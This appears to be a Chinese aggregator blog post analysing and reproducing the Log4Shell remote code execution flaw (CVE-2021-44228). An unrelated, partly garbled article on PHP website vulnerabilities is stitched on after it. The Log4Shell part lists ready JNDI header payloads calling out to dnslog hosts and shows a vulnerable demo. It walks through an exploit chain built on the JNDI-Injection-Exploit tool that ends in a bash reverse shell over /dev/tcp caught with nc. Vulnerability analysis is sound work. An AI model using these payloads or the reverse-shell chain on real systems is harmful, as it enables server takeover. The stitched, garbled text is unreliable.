log4j漏洞分析及总结
Posted csd_ct
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了log4j漏洞分析及总结相关的知识,希望对你有一定的参考价值。
2021年12月8号爆出的log4j2的远程代码执行漏洞【cve-2021-44228】,堪称史诗级核弹漏洞,虽然过了这么久,大部分现网中的相关漏洞已经修复,但任然可以捡漏…,网上也有不少大佬和研究机构都对该漏洞做了分析和复盘,年前年后比较忙,一直没有好好的分析总结该漏洞,最近学习下刚好补上。
漏洞描述及影响
log4j是Apache的一个开源项目,是一个基于Java的日志记录框架。Log4j2是log4j的后继者,被大量用于业务系统开发,记录日志信息。很多互联网公司以及耳熟能详的公司的系统都在使用该框架。Apache Log4j2 组件在开启了日志记录功能后,凡是在可触发错误记录日志的地方,插入漏洞利用代码,即可利用成功。特殊情况下,若该组件记录的日志包含其他系统的记录日志,则有可能造成间接投毒。通过中间系统,使得组件间接读取了具有攻击性的漏洞利用代码,亦可间接造成漏洞触发。
同时该漏洞还影响很多全球使用量的Top序列的通用开源组件,例如 Apache Struts2、Apache Solr、Apache Druid、Apache Flink等
用户认证:不需要用户认证
触发方式:远程
配置方式:默认
利用条件:需要外网访问权限
影响版本:2.0 ≤ Apache Log4j2 < 2.15.0-rc2
利用难度:极低,无需授权即可远程代码执行
威胁等级:严重,能造成远程代码执行
综合评估漏洞利用难度极低,利用要求较少,影响范围很大,危害极其严重,且已经被黑客公开利用持续全网扫描,根据部里要求,需要紧急修复。
漏洞分析
该漏洞的主要原因是log4j在日志输出中,未对字符合法性进行严格的限制,执行了JNDI协议加载的远程恶意脚本,从而造成RCE。这里面有一个关键点就是,什么是JNDI,为什么JNDI可以造成RCE
【Java JNDI使用详解】 https://blog.csdn.net/qinwuxian19891211/article/details/108969927,这篇文章中很好的介绍了什么是JNDI,这里摘抄文章中的重点的部分,以作说明,
JNDI(Java Naming and Directory Interface–Java命名和目录接口)是Java中为命名和目录服务提供接口的API,通过名字可知道,JNDI主要由两部分组成:Naming(命名)和Directory(目录),其中Naming是指将对象通过唯一标识符绑定到一个上下文Context,同时可通过唯一标识符查找获得对象,而Directory主要指将某一对象的属性绑定到Directory的上下文DirContext中,同时可通过名字获取对象的属性同时操作属性。
JNDI主要由JNDI API和JNDI SPI两部分组成,Java应用程序通过JNDI API访问目录服务,而JNDI API会调用Naming Manager实例化JNDI SPI,然后通过JNDI SPI去操作命名或目录服务其如LDAP, DNS,RMI等,JNDI内部已实现了对LDAP,DNS, RMI等目录服务器的操作API。
这里面有个很重要的点,java应用程序中可以调用JNDI协议访问远程服务,其底层包含了RMI、LDAP、DNS等协议的调用,说明白点,就是可以通过JNDI访问远程的相关目录服务,本次爆发的攻击payload都是通过jndi调用了远程的恶意class,然后本地反序列化执行。和以前的fastjson攻击的手法差不多,这里面涉及到jndi注入和java反序列化漏洞的相关知识,可以作为一个单独的文章来说明,这里只将和log4j本次漏洞相关的。详细的,可以参考网上的一篇文章,【深入理解JNDI注入与Java反序列化漏洞利用】
首先我们看一下,收集到的log4j payload:
X-Client-IP: $jndi:ldap://1644763261510dpicz.zdl7qs.ceye.io/VXBQo
X-Remote-IP: $jndi:ldap://1644763261510jnabe.zdl7qs.ceye.io/vl
X-Remote-Addr: $jndi:ldap://1644763261510xplnj.zdl7qs.ceye.io/hTE
X-Forwarded-For: $jndi:ldap://1644763261510lbnhl.zdl7qs.ceye.io/hvgsw
X-Originating-IP: $jndi:ldap://1644763261510pbhdy.zdl7qs.ceye.io/LxrC
True-Client-IP: $jndi:rmi://1644763261510jjchm.zdl7qs.ceye.io/FrfXm
Originating-IP: $jndi:rmi://1644763261510jctho.zdl7qs.ceye.io/vbP
X-Real-IP: $jndi:rmi://1644763261510fyvxt.zdl7qs.ceye.io/fWmjt
Client-IP: $jndi:rmi://1644763261510nfaoa.zdl7qs.ceye.io/mS
X-Api-Version: $jndi:rmi://1644763261510daeem.zdl7qs.ceye.io/IdJ
Sec-Ch-Ua: $jndi:dns://1644763261510wjiit.zdl7qs.ceye.io/IX
Sec-Ch-Ua-Platform: $jndi:dns://1644763261510dacbb.zdl7qs.ceye.io/ftA
Sec-Fetch-Site: $jndi:dns://1644763261510rypwe.zdl7qs.ceye.io/asWuD
Sec-Fetch-Mode: $jndi:dns://1644763261510osrig.zdl7qs.ceye.io/zc
Sec-Fetch-User: $jndi:dns://1644763261510uvfsl.zdl7qs.ceye.io/oNpOs
Sec-Fetch-Dest: $jndi:dns://1644763261510ptqen.zdl7qs.ceye.io/fGwFl
以及一些变形的payload:
这些payload的形式大多类似与这样:
$jndi:ldap://xxxx.com.cn
,我们可以看看直接在代码中利用log4j输出以上字符串,到底会发生什么,上代码:
//首先在pom文件中,引入含有漏洞的log4j包,pom文件
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
</dependencies>
// 直接在代码中输出含有ldap的dnslog的查询,
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4j11Test
private static Logger logger = LogManager.getLogger("Log4jDemoApplication");
public static void main(String[] args)
logger.error("$jndi:ldap://log4j.voxxaq.dnslog.cn");
运行以上代码,观察到dnslog上有反查记录,说明应用程序lookup了log4j.voxxaq.dnslog.cn这个域名,留下了查找记录
既然能远程访问,那返回的又是什么呢,有没有可能加载远程服务器上的恶意类呢?答案是肯定的,我们只需要构建一个ldap或rmi远程服务即可,让远程服务器返回恶意class,如图
验证
按照以上的思路,首先要在远程服务器上准备ldap或rmi服务,这里我们利用现成的工具,【JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar】,github上已有大神准备好了,这个jar包的作用是在服务器上开启ldap和rmi服务,并且可以自定义要执行的代码。命令执行格式如下:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "payload" -A "serverip"
A参数为远程服务器的IP,我们只需要关注payload,将他变为要执行的代码即可。这里我们直接反弹一个shell,payload为
bash -i >& /dev/tcp/serverip/port 0>&1,因为其中含有&等特需符号,为防止执行不成功,换一种写法,变形为,bash -c echo,base64_encoded_payload|base64,-d|bash,-i
,本质上和前面是一样的,只不过是将前面的payload先base64编码后再解码。
执行后,输出如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WuxiAheR-1644768636746)(vx_images/87154923231691.png)]
以上分别在1099端口和1389端口,开启了rmi,ldap的监听服务,等待jndi的连接。同时我们也再9999端口,开启一个反弹监听端口,等待反弹shell上线。
nc -lvvp 9999
这里,我们直接用本地搭建漏洞环境,也可以用volfocus上的在线靶场环境。启动本地含有漏洞的spring boot的服务,如图:
以上环境在request header 中X-Api-Version 中存在log4j2的漏洞,直接在postman中发送请求:
观察远程服务端:
再观察反弹的9999端口:
以上可以看到反弹shell,成功上线。
修复
从前面的分析验证可以看出,该漏洞可直接加载远程代码,反弹shell,危害巨大。需将log4j2的jar包升级为2.17-rc2及以上
PHP网站常见安全漏洞 及相应防范措施总结
一、常见PHP网站安全漏洞
对于PHP的漏洞,目前常见的漏洞有五种。分别是Session文件漏洞、SQL注入漏洞、脚本命令执行漏洞、全局变量漏洞和文件漏洞。这里分别对这些漏洞进行简要的介绍。
1、session文件漏洞
Session攻击是黑客最常用到的攻击手段之一。当一个用户访问某一个网站时,为了免客户每进人一个页面都要输人账号和密码,PHP设置了Session和Cookie用于方便用户的使用和访向。
2、SQL注入漏洞
在进行网站开发的时候,程序员由于对用户输人数据缺乏全面判断或者过滤不严导致服务器执行一些恶意信息,比如用户信息查询等。黑客可以根据恶意程序返回的结果获取相应的信息。这就是月行胃的SQL注入漏洞。
3、脚本执行漏洞
脚本执行漏洞常见的原因是由于程序员在开发网站时对用户提交的URL参数过滤较少引起的,用户提交的URL可能包含恶意代码导致跨站脚本攻击。脚本执行漏洞在以前的PHP网站中经常存在,但是随着PHP版本的升级,这些间题已经减少或者不存在了。
4、全局变量漏洞
PHP中的变量在使用的时候不像其他开发语言那样需要事先声明,PHP中的变量可以不经声明就直接使用,使用的时候系统自动创建,而且也不需要对变量类型进行说明,系统会自动根据上下文环境自动确定变量类型。这种方式可以大大减少程序员编程中出错的概率,使用起来非常的方便。
5、文件漏洞
文件漏洞通常是由于网站开发者在进行网站设计时对外部提供的数据缺乏充分的过滤导致黑客利用其中的漏洞在Web进程上执行相应的命令。假如在lsm.php中包含这样一段代码:include($b."/aaa.php".),这对黑客来说,可以通过变量$b来实现远程攻击,可以是黑客自已的代码,用来实现对网站的攻击。可以向服务器提交a.php include=http://lZ7.0.0. 1/b.php,然后执行b.php的指令。
二、PHP常见漏洞的防范措施
1、对于Session漏洞的防范
从前面的分析可以知道,Session攻击最常见的就是会话劫持,也就是黑客通过各种攻击手段获取用户的Session ID,然后利用被攻击用户的身份来登录相应网站。为此,这里可以用以下几种方法进行防范:一是定期更换Session ID,更换Session ID可以用PHP自带函数来实现;二是更换Session名称,通常情况下Session的默认名称是PHPSESSID,这个变量一般是在cookie中保存的,如果更改了它的名称,就可以阻档黑客的部分攻击;三是对透明化的Session ID进行关闭处理,所谓透明化也就是指在http请求没有使用cookies来制定Session id时,Sessioin id使用链接来传递.关闭透明化Session ID可以通过操作PHP.ini文件来实现;四是通过URL传递隐藏参数,这样可以确保即使黑客获取了session数据,但是由于相关参数是隐藏的,它也很难获得Session ID变量值。
2、对SQL注入漏洞的防范
黑客进行SQL注入手段很多,而且灵活多变,但是SQL注人的共同点就是利用输入过滤漏洞。因此,要想从根本上防止SQL注入,根本解决措施就是加强对请求命令尤其是查询请求命令的过滤。具体来说,包括以下几点:一是把过滤性语句进行参数化处理,也就是通过参数化语句实现用户信息的输入而不是直接把用户输入嵌入到语句中。二是在网站开发的时候尽可能少用解释性程序,黑客经常通过这种手段来执行非法命令;三是在网站开发时尽可能避免网站出现bug,否则黑客可能利用这些信息来攻击网站;仅仅通过防御SQL注入还是不够的,另外还要经常使用专业的漏洞扫描工具对网站进行漏洞扫描。
3、对脚本执行漏洞的防范
黑客利用脚本执行漏洞进行攻击的手段是多种多样的,而且是灵活多变的,对此,必须要采用多种防范方法综合的手段,才能有效防止黑客对脚本执行漏洞进行攻击。这里常用的方法方法有以下四种。一是对可执行文件的路径进行预先设定。可以通过safe_moade_exec_dir来实现;二是对命令参数进行处理,一般用escapeshellarg函数实现;三是用系统自带的函数库来代替外部命令;四是在操作的时候进可能减少使用外部命令。
4、对全局变量漏洞防范
对于PHP全局变量的漏洞问题,以前的PHP版本存在这样的问题,但是随着PHP版本升级到5.5以后,可以通过对php.ini的设置来实现,设置ruquest_order为GPC。另外在php.ini配置文件中,可以通过对magic_quotes_runtime进行布尔值设置是否对外部引人的数据中的溢出字符加反斜线。为了确保网站程序在服务器的任何设置状态下都能运行。可以在整个程序开始的时候用get_magic_quotes_runtime检测设置状态决定是否要手工处理,或者在开始(或不需要自动转义的时候)用set_magic_quotes_runtime(0)关掉。
5、对文件漏洞的防范
对于PHP文件漏桐可以通过对服务器进行设置和配置来达到防范目的。这里具体的操作如下:一是把PHP代码中的错误提示关闭,这样可以避免黑客通过错误提示获取数据库信息和网页文件物理路径;二是对open_basedir尽心设置,也就是对目录外的文件操作进行禁止处理;这样可以对本地文件或者远程文件起到保护作用,防止它们被攻击,这里还要注意防范Session文件和上载文件的攻击;三是把safe-made设置为开启状态,从而对将要执行的命令进行规范,通过禁止文件上传,可以有效的提高PHP网站的安全系数。
以上是关于log4j漏洞分析及总结的主要内容,如果未能解决你的问题,请参考以下文章
Apache Log4j 漏洞影响有多大?
apache log4j漏洞复现
log4j漏洞分析及总结
静态代码检测工具Wukong对log4J中的漏洞检测分析及漏洞修复
Apache Log4j爆“核弹级“漏洞,对众多java应用平台造成影响,已发现近万次攻击
Apache Log4j爆“核弹级“漏洞,对众多java应用平台造成影响,已发现近万次攻击